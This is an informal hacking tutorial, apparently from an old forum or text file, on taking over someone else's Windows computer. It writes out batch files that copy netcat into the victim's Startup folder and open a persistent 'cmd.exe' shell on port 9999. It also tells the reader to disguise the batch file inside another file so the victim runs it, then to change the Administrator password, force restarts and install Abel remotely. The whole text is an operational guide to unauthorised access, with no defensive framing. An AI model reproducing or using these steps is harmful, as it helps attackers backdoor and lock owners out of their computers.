Hacking a Network Computer

As we all know, a Trojan is very likely to be picked up by AV, what you
need is Netcat, netcat opens a port on a computer for access (If used
correctly by a batch file you open a port on a target computer). You
will need to write a batch file. The batch file to copy netcat on the
remote computer will have to be run from the target computer (The
person on the target will have to execute the batch file in some way).
Open Notepad and type this in:
@echo off

cd\
xcopy \\yourIP\shared folder\netcat.exe
copy \\yourIP\shared folder\netcat.exe (just to be sure)
cd "Documents and Settings"
cd "All Users"
cd "Start Menu"
cd Programs
cd Startup
xcopy \\yourIP\shared folder\Startup.bat (This is another batch file you will write)
cd\
netcat.exe -L -p 9999 -d -e cmd.exeSave the file as a batch file using Notepad.

The next batch file will be used to make sure the port you specified
opens up every time windows starts up, you can specify any port you
wish. Open Notepad and type:
@echo off

cd\
netcat.exe -L -p 9999 -d -e cmd.exeSave the file as a batch file using Notepad, this will be the file that
is copied into the startup folder in the previous batch file we wrote.
You can bind the batch file to another file and share that file, let
the target execute that file so that he can copy netcat and the other
batch file onto his/hers computer thus opening port 9999, after port
9999 has been opened you can then use telnet and telnet to that port on
the target computer to have full access without ever needing any
passwords of any sort. After you are in change the Administrator
password for if something happens to your files, the command is this:

net user Administrator newpassword

Now from here you can do what you want, e.g try shutting down the
target computer by browsing to his system32 folder and then type in:

shutdown -r -t 10 -c "Hello"

the computer will then restart in 10 seconds time. You can even play
around more by Installing Cain & Abel on your computer and then
installing Abel remotely on his computer (Since you know the
Administrator password) Once you have Abel on the target you can start
and stop services and do more!